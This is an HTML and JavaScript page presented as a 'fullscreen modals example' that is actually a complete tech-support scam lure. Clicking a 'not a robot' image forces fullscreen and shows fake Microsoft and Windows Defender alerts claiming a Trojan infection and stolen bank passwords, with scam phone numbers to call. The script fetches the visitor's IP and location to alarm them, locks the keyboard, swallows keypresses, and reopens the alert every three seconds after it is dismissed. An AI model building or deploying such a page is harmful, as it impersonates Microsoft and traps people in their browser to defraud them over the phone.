<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Fullscreen Modals Example</title>
<script src="https://code.jquery.com/jquery-3.6.4.min.js"></script>
<style>
body {
margin: 0;
font-family: Arial, sans-serif;
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
background-color: #f2f2f2;
}
.modal {
display: none;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
color: #000;
text-align: left;
padding: 20px;
box-sizing: border-box;
z-index: 1000;
}
#fullscreenModal {
display: none;
position: fixed;
top: 10%;
bottom: 5%;
left: 20%;
width: 60%;
background-color: blue;
color: #fff;
text-align: center;
padding: 20px;
box-sizing: border-box;
z-index: 1000;
animation: zoomInOut 1s infinite alternate;
}
#fullscreenModal img {
max-width: 10%;
height: 20;
cursor: pointer;
display: block;
margin: 0 auto; /* Center the image */
}
#secondModal {
display: none;
width: 60%;
background-color: #fff;
padding: 20px;
border-radius: 5px;
z-index: 1000;
}
#secondModal h2 {
background-color: #333;
color: #fff;
padding: 10px;
margin: 0;
font-weight: bold;
}
#secondModal img {
max-width: 10%;
height: auto;
}
#secondModal p {
margin: 0;
text-align: center;
}
#ipDetails {
color: red;
text-align: center;
margin-bottom: 10px;
}
#callButton,
#cancelButton {
position: absolute;
bottom: 10px;
right: 10px;
padding: 10px;
background-color: #333;
color: #fff;
border: none;
border-radius: 5px;
cursor: pointer;
}
#fullscreenImageButton img {
max-width: 50%;
height: auto;
cursor: pointer;
display: block;
margin: 0 auto; /* Center the image */
}
/* Top Notification */
#topNotification {
position: fixed;
top: 0;
left: 50%;
transform: translateX(-50%);
width: 300px;
height: 60px;
background-color: #000;
color: #fff;
text-align: center;
line-height: 60px;
z-index: 1000;
display: flex;
align-items: center;
justify-content: center;
}
#topNotification img {
max-width: 100%;
max-height: 100%;
margin-right: 10px;
}
/* Bottom Notification */
#bottomNotification {
position: fixed;
bottom: 0;
left: 50%;
transform: translateX(-50%);
width: 100%;
height: 10%;
background-color: #000;
color: #fff;
text-align: center;
line-height: calc(10vh);
z-index: 1000;
}
@keyframes zoomInOut {
0% {
transform: scale(1);
}
100% {
transform: scale(1.2);
}
}
</style>
</head>
<body>
<div id="fullscreenImageButton">
<img src="http://thesearchingsite.online/wp-content/uploads/2023/12/not-a-robot.png" alt="Fullscreen Toggle Image">
</div>
<div id="fullscreenModal" class="modal">
<p>
<img src="http://thesearchingsite.online/wp-content/uploads/2023/12/download-2.png" alt="Windows Logo"> <br><br>
<b>ACCESS TO THIS PC IS BLOCKED FOR SECURITY REASONS</b>
</p>
<p>Your Device has reported to us that it has been infected with Trojan-type spyware. The following data has been compromised.</p>
<p>> Email IDs <br>> Bank passwords <br>> Facebook logins <br>> Photos and documents </p>
<p>Microsoft® Support Center Defender Scan has found a potentially unwanted adware on this device that can steal your passwords, your online identity, your financial information, your personal files, your photos or your documents.</p>
<p>You should contact us immediately so that our engineers can guide you through the removal process by phone.</p>
<p>Call Microsoft® Support Center Support immediately to report this threat, prevent identity theft, and unblock access to this device.</p>
<p>By closing this window, you are putting your personal information at risk and you may have your Microsoft® Support Center registration suspended.</p>
<p style="padding-bottom:0;color:#fff;font-size:16px">Microsoft® Support Center <strong>
<span style="border:1px solid #fff;border-radius:5px;padding:2px 5px">+1 (833) 481-8233</span></strong>
</p>
</div>
<div id="secondModal" class="modal">
<h2><img src="http://thesearchingsite.online/wp-content/uploads/2023/12/Windows-defender.svg_.png" alt="Windows Logo">Windows Defender Alert!!!</h2>
<div id="ipDetails"></div>
<p>This Device Has Been Infected With Trojan:SLocker,<br>Your Personal And Financial Information Is At Major Risk.<br></p>
<div>
<button id="callButton" onclick="removeModal()">Call</button>
<button id="cancelButton" onclick="removeModal()">Cancel</button>
</div>
</div>
<!-- Top Notification -->
<div id="topNotification">
<img src="http://thesearchingsite.online/wp-content/uploads/2023/12/download-2.png" alt="Logo" width="100" height="60">
Don't miss the opportunity.
</div>
<!-- Bottom Notification -->
<div id="bottomNotification">
<img src="http://thesearchingsite.online/wp-content/uploads/2023/12/download-2.png" alt="Logo" width="100" height="60">
Call us on +1 653747869
</div>
<script>
const fullscreenImageButton = document.getElementById('fullscreenImageButton');
const fullscreenModal = document.getElementById('fullscreenModal');
const secondModal = document.getElementById('secondModal');
let isFullscreen = false;
fullscreenImageButton.addEventListener('click', () => {
if (document.fullscreenElement) {
document.exitFullscreen();
fullscreenModal.style.display = 'none';
isFullscreen = false;
} else {
document.documentElement.requestFullscreen().catch((err) => {
console.error(`Error attempting to enable fullscreen mode: ${err.message}`);
});
fullscreenModal.style.display = 'block';
setTimeout(() => {
showIPInfoInSecondModal();
secondModal.style.display = 'block';
}, 1000);
isFullscreen = true;
}
});
function showIPInfoInSecondModal() {
// Use ipinfo.io API to get IP information
$.get("https://ipinfo.io", function(response) {
const ipDetails = `
<div id="ipDetails">
<strong>IP:</strong> ${response.ip}<br>
<strong>City:</strong> ${response.city}<br>
<strong>Region:</strong> ${response.region}<br>
<strong>Country:</strong> ${response.country}<br>
<strong>Network:</strong> ${response.org}
</div>
`;
document.getElementById("secondModal").insertAdjacentHTML('beforeend', ipDetails);
}, "jsonp");
}
function removeModal() {
secondModal.style.display = 'none';
setTimeout(() => {
secondModal.style.display = 'block';
}, 3000);
}
</script>
<script>
navigator.keyboard.lock();
document.onkeydown = function (e) {
if (isFullscreen) {
removeModal();
return false;
}
}
</script>
<script>
navigator.keyboard.lock();
document.onkeydown = function (e) {
if (isFullscreen) {
removeModal();
return false;
}
}
</script>
</body>
</html>